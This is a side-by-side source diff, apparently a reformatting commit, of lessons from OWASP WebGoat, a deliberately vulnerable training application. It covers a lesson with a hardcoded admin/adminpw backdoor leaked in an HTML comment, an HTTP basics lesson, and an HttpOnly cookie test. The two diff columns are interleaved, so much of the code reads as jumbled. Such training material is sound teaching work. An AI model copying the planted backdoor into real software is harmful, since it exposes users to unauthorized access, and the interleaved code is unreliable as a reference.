* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class HtmlClues extends LessonAdapter public class HtmlClues extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private boolean backdoor(WebSession s)
{
String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, "");
//<START_OMIT_SOURCE>
return (username.equals("admin") && password.equals("adminpw"));
//<END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
//<START_OMIT_SOURCE>
ec.addElement(new Comment("FIXME admin:adminpw"));
//<END_OMIT_SOURCE>
ec.addElement(new Comment("Use Admin to regenerate database"));
if (backdoor(s))
{
makeSuccess(s);
s.setMessage("BINGO -- admin authenticated");
ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
}
else
{
ec.addElement(makeLogin(s));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param method Description of the Parameter
* @return Description of the Return Value
* @exception Exception Description of the Exception
*/
protected Element makeUser(WebSession s, String user, String method)
throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with "
+ method));
return (ec);
}
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr
.addElement(new TH()
.addElement( .addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.") new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setColSpan(2).setAlign("left")); .setVspace(0));
t.addElement(tr);
tr = new TR(); /**
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); * Description of the Field
t.addElement(tr); */
protected final static String PASSWORD = "Password";
tr = new TR(); /**
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); * Description of the Field
t.addElement(tr); */
protected final static String USERNAME = "Username";
TR row1 = new TR(); /**
TR row2 = new TR(); * Description of the Method
row1.addElement(new TD(new B(new StringElement("*User Name: ")))); *
row2.addElement(new TD(new B(new StringElement("*Password: ")))); * @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private boolean backdoor(WebSession s)
{
String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, "");
Input input1 = new Input(Input.TEXT, USERNAME, ""); // <START_OMIT_SOURCE>
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); return (username.equals("admin") && password.equals("adminpw"));
row1.addElement(new TD(input1)); // <END_OMIT_SOURCE>
row2.addElement(new TD(input2)); }
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login"); /**
t.addElement(new TR(new TD(b))); * Description of the Method
ec.addElement(t); *
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec); try
} {
// <START_OMIT_SOURCE>
ec.addElement(new Comment("FIXME admin:adminpw"));
// <END_OMIT_SOURCE>
ec.addElement(new Comment("Use Admin to regenerate database"));
if (backdoor(s))
{
makeSuccess(s);
/** s.setMessage("BINGO -- admin authenticated");
* Gets the hints attribute of the CluesScreen object ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
* }
* @return The hints value else
*/ {
protected List<String> getHints(WebSession s) ec.addElement(makeLogin(s));
{ }
List<String> hints = new ArrayList<String>(); } catch (Exception e)
hints {
.add("You can view the HTML source by selecting 'view source' in the browser menu."); s.setMessage("Error generating " + this.getClass().getName());
hints.add("There are lots of clues in the HTML"); }
hints
.add("Search for the word HIDDEN, look at URLs, look for comments.");
return hints; return (ec);
} }
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @param method
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element makeUser(WebSession s, String user, String method) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with " + method));
/** return (ec);
* Gets the instructions attribute of the HtmlClues object }
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in.";
return (instructions); protected Element makeLogin(WebSession s)
} {
ElementContainer ec = new ElementContainer();
private final static Integer DEFAULT_RANKING = new Integer(30); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
protected Integer getDefaultRanking() TR tr = new TR();
{ tr.addElement(new TH()
return DEFAULT_RANKING; .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
} .setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
/** tr = new TR();
* Gets the category attribute of the FailOpenAuthentication object tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
* t.addElement(tr);
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.CODE_QUALITY;
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
/** Input input1 = new Input(Input.TEXT, USERNAME, "");
* Gets the title attribute of the CluesScreen object Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
* row1.addElement(new TD(input1));
* @return The title value row2.addElement(new TD(input2));
*/ t.addElement(row1);
public String getTitle() t.addElement(row2);
{
return ("Discover Clues in the HTML");
}
public Element getCredits() Element b = ECSFactory.makeButton("Login");
{ t.addElement(new TR(new TD(b)));
return super.getCustomCredits("", ASPECT_LOGO); ec.addElement(t);
}
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can view the HTML source by selecting 'view source' in the browser menu.");
hints.add("There are lots of clues in the HTML");
hints.add("Search for the word HIDDEN, look at URLs, look for comments.");
return hints;
}
/**
* Gets the instructions attribute of the HtmlClues object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.CODE_QUALITY;
}
/**
* Gets the title attribute of the CluesScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Discover Clues in the HTML");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -10,32 +10,31 @@ import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -44,93 +43,86 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class HttpBasics extends LessonAdapter public class HttpBasics extends LessonAdapter
{ {
private final static String PERSON = "person"; private final static String PERSON = "person";
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
StringBuffer person = null;
try
{ {
ec.addElement(new StringElement("Enter your name: ")); ElementContainer ec = new ElementContainer();
person = new StringBuffer(s.getParser().getStringParameter(PERSON, StringBuffer person = null;
"")); try
person.reverse(); {
ec.addElement(new StringElement("Enter your name: "));
Input input = new Input(Input.TEXT, PERSON, person.toString()); person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(input); person.reverse();
Element b = ECSFactory.makeButton("Go!"); Input input = new Input(Input.TEXT, PERSON, person.toString());
ec.addElement(b); ec.addElement(input);
}
catch (Exception e) Element b = ECSFactory.makeButton("Go!");
{ ec.addElement(b);
s.setMessage("Error generating " + this.getClass().getName()); } catch (Exception e)
e.printStackTrace(); {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
if (!person.toString().equals("") && getLessonTracker(s).getNumVisits() > 3)
{
makeSuccess(s);
}
return (ec);
} }
if (!person.toString().equals("") /**
&& getLessonTracker(s).getNumVisits() > 3) * Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{ {
makeSuccess(s); List<String> hints = new ArrayList<String>();
hints.add("Type in your name and press 'go'");
hints.add("Turn on Show Parameters or other features");
hints.add("Press the Show Lesson Plan button to view a lesson summary");
hints.add("Press the Show Solution button to view a lesson solution");
return hints;
} }
return (ec); /**
} * Gets the ranking attribute of the HelloScreen object
*
* @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/** protected Category getDefaultCategory()
* Gets the hints attribute of the HelloScreen object {
* return Category.GENERAL;
* @return The hints value }
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Type in your name and press 'go'");
hints.add("Turn on Show Parameters or other features");
hints.add("Press the Show Lesson Plan button to view a lesson summary");
hints.add("Press the Show Solution button to view a lesson solution");
return hints; /**
} * Gets the title attribute of the HelloScreen object
*
/** * @return The title value
* Gets the ranking attribute of the HelloScreen object */
* public String getTitle()
* @return The ranking value {
*/ return ("Http Basics");
private final static Integer DEFAULT_RANKING = new Integer(10); }
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Http Basics");
}
} }

View File

@ -1,12 +1,11 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.security.MessageDigest; import java.security.MessageDigest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,40 +17,43 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import sun.misc.BASE64Encoder; import sun.misc.BASE64Encoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class HttpOnly extends LessonAdapter { public class HttpOnly extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
@ -76,13 +78,13 @@ public class HttpOnly extends LessonAdapter {
private String original = "undefined"; private String original = "undefined";
/** /**
* Gets the title attribute of the EmailScreen object * Gets the title attribute of the EmailScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ( "HTTPOnly Test" ); return ("HTTPOnly Test");
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
@ -91,13 +93,14 @@ public class HttpOnly extends LessonAdapter {
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
* @return Description of the Return Value
*/ */
protected Element createContent( WebSession s ) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String action = null; String action = null;
@ -106,72 +109,81 @@ public class HttpOnly extends LessonAdapter {
http = s.getRequest().getParameter(HTTPONLY); http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION); action = s.getRequest().getParameter(ACTION);
if(http != null) { if (http != null)
{
httpOnly = Boolean.parseBoolean(http); httpOnly = Boolean.parseBoolean(http);
} }
if(httpOnly) { if (httpOnly)
// System.out.println("HttpOnly: Setting HttpOnly for cookie"); {
// System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s); setHttpOnly(s);
} else { }
// System.out.println("HttpOnly: Removing HttpOnly for cookie"); else
{
// System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s); removeHttpOnly(s);
} }
if(action != null) { if (action != null)
if(action.equals(READ)) { {
if (action.equals(READ))
{
handleReadAction(s); handleReadAction(s);
} else if(action.equals(WRITE)) { }
else if (action.equals(WRITE))
{
handleWriteAction(s); handleWriteAction(s);
} else { }
//s.setMessage("Invalid Request. Please try again."); else
{
// s.setMessage("Invalid Request. Please try again.");
} }
} }
try try
{ {
ec.addElement(makeContent(s)); ec.addElement(makeContent(s));
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error generating " + this.getClass().getName() ); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ( ec ); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the EmailScreen object * Gets the hints attribute of the EmailScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add( "Read the directions and try out the buttons." ); hints.add("Read the directions and try out the buttons.");
return hints; return hints;
} }
private String createCustomCookieValue() { private String createCustomCookieValue()
{
String value = null; String value = null;
byte[] buffer = null; byte[] buffer = null;
MessageDigest md = null; MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder(); BASE64Encoder encoder = new BASE64Encoder();
try { try
{
md = MessageDigest.getInstance("SHA"); md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes(); buffer = new Date().toString().getBytes();
@ -179,42 +191,52 @@ public class HttpOnly extends LessonAdapter {
value = encoder.encode(md.digest()); value = encoder.encode(md.digest());
original = value; original = value;
} catch (Exception e) { } catch (Exception e)
{
e.printStackTrace(); e.printStackTrace();
} }
return value; return value;
} }
private void setHttpOnly(WebSession s) { private void setHttpOnly(WebSession s)
{
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) { if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value; original = value;
} else { }
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie; original = cookie;
} }
} }
private void removeHttpOnly(WebSession s) { private void removeHttpOnly(WebSession s)
{
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) { if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value; original = value;
} else { }
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie; original = cookie;
} }
} }
private ElementContainer makeContent(WebSession s) { private ElementContainer makeContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Element r = null; Element r = null;
Table t = null; Table t = null;
@ -238,23 +260,29 @@ public class HttpOnly extends LessonAdapter {
tr = new TR(); tr = new TR();
tr.addElement( new TD(new StringElement ("Do you wish to turn HTTPOnly on?"))); tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?")));
tr.addElement( new TD(new StringElement ("Yes"))); tr.addElement(new TD(new StringElement("Yes")));
if(httpOnly == true) { if (httpOnly == true)
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("Checked", "true"); {
} else { r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true");
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("onClick", "document.form.submit()"); }
else
{
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()");
} }
tr.addElement(new TD(r)); tr.addElement(new TD(r));
tr.addElement( new TD(new StringElement ("No"))); tr.addElement(new TD(new StringElement("No")));
if(httpOnly == false) { if (httpOnly == false)
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
} else { }
else
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
} }
@ -265,18 +293,13 @@ public class HttpOnly extends LessonAdapter {
t.addElement(tr); t.addElement(tr);
/* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); /*
t.addElement(tr); * tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
* t.addElement(tr); if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
if(httpOnly == true) { * id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
tr.addElement(new TD(new StringElement("<div id=\"status\">On</div>"))); * id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
} else { * StringElement("<br/>"))));
tr.addElement(new TD(new StringElement ("<div id=\"status\">Off</div>"))); */f.addElement(t);
}
t.addElement(tr);
t.addElement(new TR(new TD(new StringElement("<br/>"))));
*/ f.addElement(t);
t = new Table(); t = new Table();
tr = new TR(); tr = new TR();
@ -294,73 +317,107 @@ public class HttpOnly extends LessonAdapter {
return ec; return ec;
} }
private void handleReadAction(WebSession s) { private void handleReadAction(WebSession s)
{
String displayed = s.getRequest().getParameter(READ_RESULT); String displayed = s.getRequest().getParameter(READ_RESULT);
if(httpOnly == true) { if (httpOnly == true)
if(displayed.indexOf(UNIQUE2U) != -1) { {
if (displayed.indexOf(UNIQUE2U) != -1)
{
s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie."); + "' cookie. It allowed direct client side read access to this cookie.");
} else { }
else
{
s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie."); + "' cookie by preventing direct client side read access to this cookie.");
if (writeSuccess) { if (writeSuccess)
if (!this.isCompleted(s)) { {
if (!this.isCompleted(s))
{
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} else { }
if (!this.isCompleted(s)) { else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects write access to this cookie."); s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true; readSuccess = true;
} }
} }
} }
} else if(displayed.indexOf(UNIQUE2U) != -1) { }
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog."); else if (displayed.indexOf(UNIQUE2U) != -1)
} else { {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie was displayed in the alert dialog.");
}
else
{
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. " + "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private void handleWriteAction(WebSession s) { private void handleWriteAction(WebSession s)
{
String hacked = s.getCookie(UNIQUE2U); String hacked = s.getCookie(UNIQUE2U);
if(httpOnly == true) { if (httpOnly == true)
if(!original.equals(hacked)) { {
s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie."); if (!original.equals(hacked))
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side."); {
} else { s
s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification."); + UNIQUE2U + "' cookie.");
if (readSuccess) { s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked
if (!this.isCompleted(s)) { + " on the client side.");
}
else
{
s
.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification.");
if (readSuccess)
{
if (!this.isCompleted(s))
{
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} else { }
if (!this.isCompleted(s)) { else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects read access to this cookie."); s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true; writeSuccess = true;
} }
} }
} }
} else if(!original.equals(hacked)) { }
else if (!original.equals(hacked))
{
s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side."); + "' cookie to be modified on the client side.");
} else { }
else
{
s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. " + "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private String getJavaScript() { private String getJavaScript()
{
StringBuffer buffer = new StringBuffer(); StringBuffer buffer = new StringBuffer();
buffer.append("<script language=\"javascript\">\n"); buffer.append("<script language=\"javascript\">\n");
@ -379,37 +436,56 @@ public class HttpOnly extends LessonAdapter {
return buffer.toString(); return buffer.toString();
} }
private String getBrowserType(WebSession s) { private String getBrowserType(WebSession s)
{
int offset = -1; int offset = -1;
String result = "unknown"; String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase(); String browser = s.getHeader("user-agent").toLowerCase();
if(browser != null) { if (browser != null)
if(browser.indexOf("firefox") != -1) { {
if (browser.indexOf("firefox") != -1)
{
browser = browser.substring(browser.indexOf("firefox")); browser = browser.substring(browser.indexOf("firefox"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} else if(browser.indexOf("msie 6") != -1) { }
else if (browser.indexOf("msie 6") != -1)
{
result = "Internet Explorer 6"; result = "Internet Explorer 6";
} else if(browser.indexOf("msie 7") != -1) { }
else if (browser.indexOf("msie 7") != -1)
{
result = "Internet Explorer 7"; result = "Internet Explorer 7";
} else if(browser.indexOf("msie") != -1) { }
else if (browser.indexOf("msie") != -1)
{
result = "Internet Explorer"; result = "Internet Explorer";
} else if(browser.indexOf("opera") != -1) { }
else if (browser.indexOf("opera") != -1)
{
result = "Opera"; result = "Opera";
} else if(browser.indexOf("safari") != -1) { }
else if (browser.indexOf("safari") != -1)
{
result = "Safari"; result = "Safari";
} else if(browser.indexOf("netscape") != -1) { }
else if (browser.indexOf("netscape") != -1)
{
browser = browser.substring(browser.indexOf("netscape")); browser = browser.substring(browser.indexOf("netscape"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} else if(browser.indexOf("konqueror") != -1) { }
else if (browser.indexOf("konqueror") != -1)
{
result = "Konqueror"; result = "Konqueror";
} else if(browser.indexOf("mozilla") != -1) { }
else if (browser.indexOf("mozilla") != -1)
{
result = "Mozilla"; result = "Mozilla";
} }
} }
@ -417,11 +493,14 @@ public class HttpOnly extends LessonAdapter {
return result; return result;
} }
private int getOffset(String s) { private int getOffset(String s)
{
int result = s.length(); int result = s.length();
for(int i=0; i<s.length(); i++) { for (int i = 0; i < s.length(); i++)
if(s.charAt(i) < 33 || s.charAt(i) > 126) { {
if (s.charAt(i) < 33 || s.charAt(i) > 126)
{
result = i; result = i;
break; break;
} }
@ -430,8 +509,8 @@ public class HttpOnly extends LessonAdapter {
return result; return result;
} }
public Element getCredits() public Element getCredits()
{ {
